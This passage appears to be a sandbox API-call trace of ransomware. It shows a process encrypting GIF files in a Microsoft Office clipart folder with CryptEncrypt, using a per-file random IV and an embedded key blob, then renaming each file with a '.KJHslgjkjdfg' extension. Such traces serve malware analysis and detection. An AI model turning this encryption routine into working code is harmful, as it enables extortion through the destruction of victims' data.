returned 0x2ef0000 [0191.492] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.492] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.492] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.492] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.492] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.492] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.492] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.492] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.492] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.492] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.492] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.492] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.492] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1e06, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1e06, lpOverlapped=0x0) returned 1 [0191.493] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e10, dwBufLen=0x1e10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e10) returned 1 [0191.493] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.493] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1e10, lpOverlapped=0x0) returned 1 [0191.493] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.493] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.493] SetEndOfFile (hFile=0x130) returned 1 [0191.496] GetProcessHeap () returned 0x2ef0000 [0191.496] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.496] GetProcessHeap () returned 0x2ef0000 [0191.496] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.496] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.kjhslgjkjdfg")) returned 1 [0191.523] CloseHandle (hObject=0x130) returned 1 [0191.523] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6b4200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6b4200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1 [0191.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.524] GetProcessHeap () returned 0x2ef0000 [0191.524] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.524] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.524] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.524] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, lpOverlapped=0x0) returned 1 [0191.526] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.526] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.526] GetProcessHeap () returned 0x2ef0000 [0191.526] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.526] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.526] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.526] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.526] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.526] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.527] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.527] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.527] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.527] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.527] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.527] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.527] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2e73, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2e73, lpOverlapped=0x0) returned 1 [0191.528] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2e80, dwBufLen=0x2e80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2e80) returned 1 [0191.528] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.528] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2e80, lpOverlapped=0x0) returned 1 [0191.528] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.528] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.528] SetEndOfFile (hFile=0x130) returned 1 [0191.531] GetProcessHeap () returned 0x2ef0000 [0191.531] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.531] GetProcessHeap () returned 0x2ef0000 [0191.531] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.531] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.kjhslgjkjdfg")) returned 1 [0191.535] CloseHandle (hObject=0x130) returned 1 [0191.535] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29618e00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29618e00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1 [0191.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.535] GetProcessHeap () returned 0x2ef0000 [0191.535] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.535] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.535] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.535] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xb, lpOverlapped=0x0) returned 1 [0191.537] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.537] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.537] GetProcessHeap () returned 0x2ef0000 [0191.537] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.537] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.537] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.537] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.537] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.537] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.537] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.537] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.537] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.538] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.538] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.538] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.538] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x205, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x205, lpOverlapped=0x0) returned 1 [0191.538] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x210, dwBufLen=0x210 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x210) returned 1 [0191.538] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.538] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x210, lpOverlapped=0x0) returned 1 [0191.538] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.538] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.538] SetEndOfFile (hFile=0x130) returned 1 [0191.540] GetProcessHeap () returned 0x2ef0000 [0191.540] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.540] GetProcessHeap () returned 0x2ef0000 [0191.540] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.540] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.kjhslgjkjdfg")) returned 1 [0191.587] CloseHandle (hObject=0x130) returned 1 [0191.587] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ff3400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26ff3400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1 [0191.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.588] GetProcessHeap () returned 0x2ef0000 [0191.588] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.588] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.588] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.588] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0191.590] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.590] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.590] GetProcessHeap () returned 0x2ef0000 [0191.590] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.590] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.590] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.590] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.591] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.591] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.591] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.591] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.591] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.591] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.591] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.591] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.591] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1f6, lpOverlapped=0x0) returned 1 [0191.591] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x200, dwBufLen=0x200 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x200) returned 1 [0191.591] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.592] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x200, lpOverlapped=0x0) returned 1 [0191.593] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.593] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.593] SetEndOfFile (hFile=0x130) returned 1 [0191.596] GetProcessHeap () returned 0x2ef0000 [0191.596] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.596] GetProcessHeap () returned 0x2ef0000 [0191.596] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.596] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.kjhslgjkjdfg")) returned 1 [0191.607] CloseHandle (hObject=0x130) returned 1 [0191.607] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef57700, ftCreationTime.dwHighDateTime=0x1bd4f8b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ef57700, ftLastWriteTime.dwHighDateTime=0x1bd4f8b, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1 [0191.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.609] GetProcessHeap () returned 0x2ef0000 [0191.609] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.609] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.609] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.609] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0191.611] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.611] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.611] GetProcessHeap () returned 0x2ef0000 [0191.611] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.611] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.611] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.611] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.611] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.611] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, 